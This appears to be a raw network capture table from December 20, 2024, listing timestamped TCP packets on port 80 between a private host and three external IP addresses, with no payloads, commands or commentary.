Dec 20, 2024 17:43:13.458754063 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.458800077 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.459702015 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.459749937 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.459795952 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.459836006 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.460738897 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.460783005 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.460907936 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.460947990 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.461786032 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.461832047 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.461957932 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.462002039 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.462702990 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.462745905 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.600624084 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.600661993 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.600703001 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.600733042 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.600974083 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.601022959 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.601121902 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.601169109 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.602030993 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.602080107 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.602174044 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.602219105 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.603079081 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.603158951 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.603291988 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.603339911 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.604137897 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.604212046 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.604388952 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.604434967 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.605143070 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.605204105 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.605422020 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.605469942 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.606197119 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.606256008 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.607243061 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.607258081 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.607299089 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.607311010 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.607378006 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.607429981 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.608573914 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.608639956 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.608731985 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.608779907 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.609338045 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.609390974 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.609882116 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.609942913 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.610375881 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.610392094 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.610431910 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.610433102 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.611471891 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.611536980 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.611602068 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.611648083 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.612415075 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.612478971 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.612576962 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.612622976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.613564968 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.613584042 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.613627911 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.613711119 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.614495039 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.614543915 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.614595890 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.614674091 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.615622044 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.615677118 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.615680933 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.615719080 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.616626978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.616669893 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.616789103 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.616836071 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.617662907 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.617718935 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.618433952 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.618474007 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.618645906 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.618690014 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.618961096 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.619002104 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.619689941 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.619745016 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.619854927 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.619924068 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.620754004 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.620803118 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.621222973 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.621267080 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.621767044 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.621810913 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.622014999 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.622057915 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.622819901 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.622860909 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.623013973 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.623054981 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.623847008 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.623887062 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.623961926 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.624001980 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.624885082 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.624927998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.625318050 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.625358105 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.625956059 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.625998020 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.626120090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.626172066 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.626975060 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.627017021 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.627595901 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.627638102 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.628020048 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.628060102 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.628128052 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.628170967 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.629136086 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.629183054 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:13.629234076 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:13.629273891 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:15.823499918 CET	49729	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:15.823841095 CET	49731	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:15.943334103 CET	80	49731	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:15.943397045 CET	80	49729	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:15.943531990 CET	49729	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:15.943562031 CET	49731	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:15.943795919 CET	49731	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:16.063329935 CET	80	49731	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:16.569072962 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:16.569176912 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:17.290971041 CET	80	49731	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:17.291105986 CET	49731	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:17.294527054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:17.414027929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:17.414177895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:17.432569981 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:17.552138090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738177061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738219976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738231897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738276005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.738279104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738297939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.738326073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.738460064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738471985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738483906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738495111 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738502979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.738521099 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.738627911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.738733053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738745928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.738780975 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.858031988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.858114958 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.858139038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.858177900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.862154961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.862214088 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.862376928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.862426996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.929986000 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.930030107 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.930047989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.930083990 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.932632923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.932687044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.932792902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.932833910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.940861940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.940917969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.940927029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.940963030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.949403048 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.949485064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.949846029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.949894905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.957673073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.957736015 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.957829952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.957880974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.966085911 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.966157913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.966442108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.966491938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.974458933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.974524021 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.974783897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.974827051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.982831001 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.982897043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.983041048 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.983108997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.993398905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.993457079 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.993474007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.993510008 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:18.999648094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:18.999746084 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.000413895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.000492096 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.007226944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.007298946 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.007491112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.007551908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.014918089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.014996052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.015045881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.015131950 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.049702883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.049787045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.122499943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.122617960 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.122654915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.122708082 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.124778986 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.124835968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.124875069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.124922991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.129350901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.129399061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.129415035 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.129456043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.133840084 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.133908987 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.134008884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.134058952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.138314009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.138374090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.138375998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.138427019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.142858982 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.142919064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.143040895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.143089056 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.147382975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.147444963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.147465944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.147515059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.151868105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.152127981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.152194977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.156296015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.156457901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.156579971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.160721064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.160900116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.160914898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.160967112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.165155888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.165375948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.165467978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.169635057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.169918060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.170006990 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.174159050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.174230099 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.174318075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.178611040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.178699017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.178765059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.182039022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.182218075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.182306051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.185619116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.185652971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.185704947 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.185739040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.189562082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.189702034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.189764023 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.189806938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.192626953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.192678928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.192702055 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.192727089 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.196046114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.196115017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.196120977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.196156025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.199490070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.199546099 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.199572086 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.199594975 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.203047991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.203063011 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.203125000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.206579924 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.206655025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.206844091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.206887960 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.210042953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.210109949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.210125923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.210171938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.242300034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.242666960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.242763996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.315907001 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.315947056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.315989971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.316025019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.317147970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.317213058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.317243099 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.317285061 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.319894075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.319953918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.320139885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.320183039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.322705984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.322758913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.322864056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.322906017 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.325385094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.325455904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.325496912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.325536966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.327972889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.328037024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.328118086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.328161955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.330739975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.330908060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.331559896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.331618071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.333152056 CET	80	49732	31.41.244.11	192.168.2.6
